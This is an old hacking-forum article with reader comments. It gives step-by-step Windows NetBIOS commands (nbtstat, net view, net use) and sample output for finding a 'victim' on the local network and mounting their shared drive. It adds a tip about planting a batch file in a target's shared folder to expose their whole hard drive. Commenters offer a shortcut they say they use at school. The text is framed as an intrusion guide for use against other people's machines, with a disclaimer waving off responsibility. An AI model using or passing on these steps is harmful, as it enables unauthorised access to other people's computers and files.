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Network Hacking

Arrow Image How to access a folder or hardrive on a pc on your network.



Step 1
Get a good IP scanner angry ip scanner is a good one you can get it here: http://www.angryziber.com/ipscan/

Step 2
Open a dos prompt
Do this by going to start/run
enter command.com and press ok

this is what you see:
c:\\windows>

Now this is what you have to do ---->>>

Replace 255.255.255.255 with the victims IP address.

c:\\windows>nbtstat -a 255.255.255.255

If you see this your in:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don\'t get the number <20>.
The victim disabled the File And Printer Sharing, find a another victim.

Step 3

type down:

c:\\windows>net view \\\\255.255.255.255

if the output is like this:

Shared resources at \\\\255.255.255.255
ComputerNameGoesHere

Sharename Type Used as Comment

------------------------------------------------------------
CDISK Disk xxxxx xxxxx

The command completed successfully.

\"DISK\" shows that the victim is sharing a Disk named as CDISK

Step 4

type down:

you can replace x: by any letter you want but not the letter of your own drive.

CDISK is the name of the shared harddrive.

c:\\windows>net use x: \\\\255.255.255.255\\CDISK

If the command is successful youre a small time hacker.

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.



GOOD LUCK


~~~~Hakster~~~~


Note to newbies: This hack will only work if you have the ip of someone on your network
it will not work if the ip of the person you want to \"hack\" is not on your network.

Tip: If you can only access your targets shared folder put a batch file in their shared
folder with the command C=C if they open it it will share their hardrive.

Disclaimer:

Im not responsible for what you do with this information it is your responsability!

Comments

Haykuroon September 12 2005 - 22:06:54
this isnt a tutorial, u dont explain why you do anything, u just say, Type this, do this, write that.
nights_shadowon September 13 2005 - 01:34:01
Yeah, Haykuro has a point, it'd be better if you'd elaborate on what the commands do and why they work, if they do on the specific i.p.
haksteron September 13 2005 - 05:32:34
I never said it was a tutorial! I never said what it was. It could be a step by step guide on Netbios.Wink
Xeroon September 13 2005 - 21:58:16
I've never understood some of the steps in Netbios hacking. The nbtstat step and the net use steps aren't necessary. I do this all the time at school, just get the IP (or computername) of a computer on the network, open up a browser, type "\\IP_or_Name_Here" without quotes. That'll let you browse it if it's open or not if it's private. If anyone sees a fault in something I've said... please correct me.
Xeroon September 13 2005 - 21:59:23
Just to let anyone know... the 92;92; part is two backslashes.
Zekasuon March 03 2006 - 03:57:43
Minor difference to note, but on my box, in step 3 (c:windows>net view \255.255.255.255) I am not required to use the \, and in fact, it doesn't work with the \ on my LAN.
Nightkidd91on November 05 2006 - 13:55:49
I tried the same thing, but the net view \ip command doesn't work for me.
slash323on July 08 2008 - 18:01:38
i was doing what you said..but once i tried to "net view" i got system error 5..access denied..can anyone tell me what the problem might be?
EpsilonXon July 30 2008 - 04:16:28
I have to agree with Xero. This is a relatively..... (Scribble) extremely useless article.
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